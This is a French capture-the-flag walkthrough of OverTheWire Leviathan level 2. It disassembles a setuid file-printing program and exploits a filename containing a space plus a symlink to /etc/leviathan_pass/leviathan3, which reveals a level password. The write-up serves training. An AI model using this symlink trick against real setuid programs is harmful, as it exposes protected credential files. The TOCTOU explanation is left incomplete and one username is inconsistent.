Niveau 2

Niveau 2

Level Goal

There is no information for this level, intentionally.

Une fois reconnecté au serveur en tant qu'utilisateur leviathan1, commençons par lister le contenu du répertoire home :

leviathan2@leviathan:~$ ls -l
total 8
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26  2019 printfile

Si on exécute le programme sans argument on obtient la réponse suivante :

leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename

Si l'on essaye naïvement de passer en paramètre le fichier contenant le mot de passe on a la réponse suivante :

leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied

On notera que le programme utilise /bin/cat pour lire le fichier.

Ouvrons le programme avec gdb (gdb printfile) et regardons la fonction main :

(gdb) disas main
Dump of assembler code for function main:
   0x0804852b <+0>: lea    0x4(%esp),%ecx
   0x0804852f <+4>: and    $0xfffffff0,%esp
   0x08048532 <+7>: pushl  -0x4(%ecx)
   0x08048535 <+10>:    push   %ebp
   0x08048536 <+11>:    mov    %esp,%ebp
   0x08048538 <+13>:    push   %ebx
   0x08048539 <+14>:    push   %ecx
   0x0804853a <+15>:    sub    $0x200,%esp
   0x08048540 <+21>:    mov    %ecx,%ebx
   0x08048542 <+23>:    cmpl   $0x1,(%ebx)
   0x08048545 <+26>:    jg     0x8048577 <main+76>
   0x08048547 <+28>:    sub    $0xc,%esp
   0x0804854a <+31>:    push   $0x8048690
   0x0804854f <+36>:    call   0x80483c0 <puts@plt>
   0x08048554 <+41>:    add    $0x10,%esp
   0x08048557 <+44>:    mov    0x4(%ebx),%eax
   0x0804855a <+47>:    mov    (%eax),%eax
   0x0804855c <+49>:    sub    $0x8,%esp
   0x0804855f <+52>:    push   %eax
   0x08048560 <+53>:    push   $0x80486a5
   0x08048565 <+58>:    call   0x80483a0 <printf@plt>
   0x0804856a <+63>:    add    $0x10,%esp
   0x0804856d <+66>:    mov    $0xffffffff,%eax
   0x08048572 <+71>:    jmp    0x80485fa <main+207>
   0x08048577 <+76>:    mov    0x4(%ebx),%eax
   0x0804857a <+79>:    add    $0x4,%eax
   0x0804857d <+82>:    mov    (%eax),%eax
   0x0804857f <+84>:    sub    $0x8,%esp
   0x08048582 <+87>:    push   $0x4
   0x08048584 <+89>:    push   %eax
   0x08048585 <+90>:    call   0x8048410 <access@plt>
   0x0804858a <+95>:    add    $0x10,%esp
   0x0804858d <+98>:    test   %eax,%eax
   0x0804858f <+100>:   je     0x80485a8 <main+125>
   0x08048591 <+102>:   sub    $0xc,%esp
   0x08048594 <+105>:   push   $0x80486b9
   0x08048599 <+110>:   call   0x80483c0 <puts@plt>
   0x0804859e <+115>:   add    $0x10,%esp
   0x080485a1 <+118>:   mov    $0x1,%eax
   0x080485a6 <+123>:   jmp    0x80485fa <main+207>
   0x080485a8 <+125>:   mov    0x4(%ebx),%eax
   0x080485ab <+128>:   add    $0x4,%eax
   0x080485ae <+131>:   mov    (%eax),%eax
   0x080485b0 <+133>:   push   %eax
   0x080485b1 <+134>:   push   $0x80486d4
   0x080485b6 <+139>:   push   $0x1ff
   0x080485bb <+144>:   lea    -0x208(%ebp),%eax
   0x080485c1 <+150>:   push   %eax
   0x080485c2 <+151>:   call   0x8048400 <snprintf@plt>
   0x080485c7 <+156>:   add    $0x10,%esp
   0x080485ca <+159>:   call   0x80483b0 <geteuid@plt>
   0x080485cf <+164>:   mov    %eax,%ebx
   0x080485d1 <+166>:   call   0x80483b0 <geteuid@plt>
   0x080485d6 <+171>:   sub    $0x8,%esp
   0x080485d9 <+174>:   push   %ebx
   0x080485da <+175>:   push   %eax
   0x080485db <+176>:   call   0x80483e0 <setreuid@plt>
   0x080485e0 <+181>:   add    $0x10,%esp
   0x080485e3 <+184>:   sub    $0xc,%esp
   0x080485e6 <+187>:   lea    -0x208(%ebp),%eax
   0x080485ec <+193>:   push   %eax
   0x080485ed <+194>:   call   0x80483d0 <system@plt>
   0x080485f2 <+199>:   add    $0x10,%esp
   0x080485f5 <+202>:   mov    $0x0,%eax
   0x080485fa <+207>:   lea    -0x8(%ebp),%esp
   0x080485fd <+210>:   pop    %ecx
   0x080485fe <+211>:   pop    %ebx
   0x080485ff <+212>:   pop    %ebp
   0x08048600 <+213>:   lea    -0x4(%ecx),%esp
   0x08048603 <+216>:   ret    
End of assembler dump.

Si l'on regarde en détail le code désassemblé, on peut remarquer la ligne suivante :

0x08048585 <+90>:    call   0x8048410 <access@plt>

Si l'on regarde le détail de La fonction access appelée, on peut noter que cette fonction va tenter d'accéder au fichier en utilisant la vraie identité de l'utilisateur (real user ID) plutôt que l'identité effective (effective user ID). Si l'utilisateur a le droit d'accéder au fichier access retourn 0, sinon il retourne -1 ou une erreur.

La fonction access possède une faille de sécurité particulièrement connue ; la faille TOCTOU (time-of-check to time-of-use). Le concept de cette faille est le suivant :

Ici cela n'aura pas l'effet escompté car le fait d'exécuter le programme avec gdb ne permet pas dans tous les cas d'ouvrir le fichier /etc/leviathan_pass/leviathan3 pour des histoires de droit.

La solution est d'utiliser le fait que les espaces dans les noms de fichier ouvert par cat ne sont pas automatiquement échappés.

Par exemple, si on a un fichier name with spaces, la commande cat name with spaces cherchera à ouvrir séparement les fichier name, with et spaces.

Nous pouvons donc exploiter cette spécificité pour ouvrir le fichier qui nous intéresse. Pour cela commençons par créer un fichier dans le dossier /tmp avec un espace :

leviathan2@leviathan:~$ touch "/tmp/leviathan 2"

Puis créons ensuite un lien symbolique vers le fichier contenant le mot de passe depuis un fichier avec un nom correspondant à la première partie du fichier leviathan 2 par dessus

leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/leviathan

Ainsi le programme printfile va d'abord vérifier que nous avons bien le droit de lire le contenu du fichier /tmp/leviathan 2 avant de passer le nom du fichier à cat, qui va chercher à lire séparément les fichiers /tmp/leviathan et 2.

Si l'on exécute le programme on obtient le mot de passe:

leviathan2@leviathan:~$ ./printfile /tmp/leviathan\ 2
Ahdiemoo1j
/bin/cat: 2: No such file or directory